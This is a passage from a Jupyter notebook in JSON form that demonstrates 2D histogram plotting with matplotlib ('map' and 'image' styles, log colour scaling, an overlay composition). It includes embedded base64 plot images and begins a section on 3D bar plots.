PJBphEIIIYQQQggxDyTZEkIIIYQQQoh5IMmWEEIIIYQQQswDSbaEEEIIIYQQYh5IsiWEEEIIIYQQ80CSLSGEEEIIIYSYB5JsCSGEEEIIIcQ8+P8B0kueP3foFVYAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 864x288 with 5 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "fig, axes = plt.subplots(1, 3, figsize=(12, 4))\n", "h2(x, y, 20, name=\"20 bins - map\").plot(\"map\", alpha=1, lw=0, show_zero=False, cmap=\"rainbow\", ax=axes[0], show_colorbar=False, cmap_normalize=\"log\")\n", "h2(x, y, 20, name=\"20 bins - image\").plot(\"image\", alpha=1, ax=axes[1], cmap=\"rainbow\", cmap_normalize=\"log\")\n", "h2(x, y, 500, name=\"500 bins - image\").plot(\"image\", alpha=1, ax=axes[2], cmap=\"rainbow\", cmap_normalize=\"log\");" ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<AxesSubplot:xlabel='axis0', ylabel='axis1'>" ] }, "execution_count": 18, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\n", "text/plain": [ "<Figure size 576x504 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Composition - show histogram overlayed with \"points\"\n", "fig, ax = plt.subplots(figsize=(8, 7))\n", "h_2 = h2(x, y, 30)\n", "h_2.plot(\"map\", lw=0, alpha=0.9, cmap=\"Blues\", ax=ax, cmap_normalize=\"log\", show_zero=False)\n", "# h2(x, y, 300).plot(\"image\", alpha=1, cmap=\"Greys\", ax=ax, transform=lambda x: x > 0);\n", "# Not working currently" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 3D\n", "\n", "By this, we mean 3D bar plots of 2D histograms (not a visual representation of 3D histograms)." ] }, { "cell_type": "code", "execution_count": 19, "metadata": {}, "outputs": [ { "data": { "image/png": 